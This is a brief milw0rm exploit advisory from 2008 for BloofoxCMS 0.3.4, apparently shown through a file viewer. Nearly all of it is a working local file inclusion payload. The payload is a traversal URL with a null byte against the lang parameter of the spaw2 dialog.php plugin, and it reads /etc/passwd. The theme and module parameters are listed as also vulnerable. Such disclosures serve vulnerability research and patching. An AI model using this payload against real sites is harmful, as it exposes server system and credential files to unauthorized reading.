17 lines
No EOL
372 B
Text
17 lines
No EOL
372 B
Text
BloofoxCMS 0.3.4
|
|
http://www.bloofox.com/
|
|
|
|
magic_quotes_gpc = Off
|
|
register_globals = On
|
|
|
|
- File Inclusion -
|
|
http://site/bloofoxCMS_0.3.4/plugins/spaw2/dialogs/dialog.php?lang=../../../../../../../../../../../../etc/passwd%00
|
|
|
|
Also vulnerable:
|
|
dialog.php?theme=<lfi>
|
|
dialog.php?dialog=foo&module=<lfi>
|
|
|
|
- Seasons Greetings -
|
|
- http://nukeit.org -
|
|
|
|
# milw0rm.com [2008-12-24] |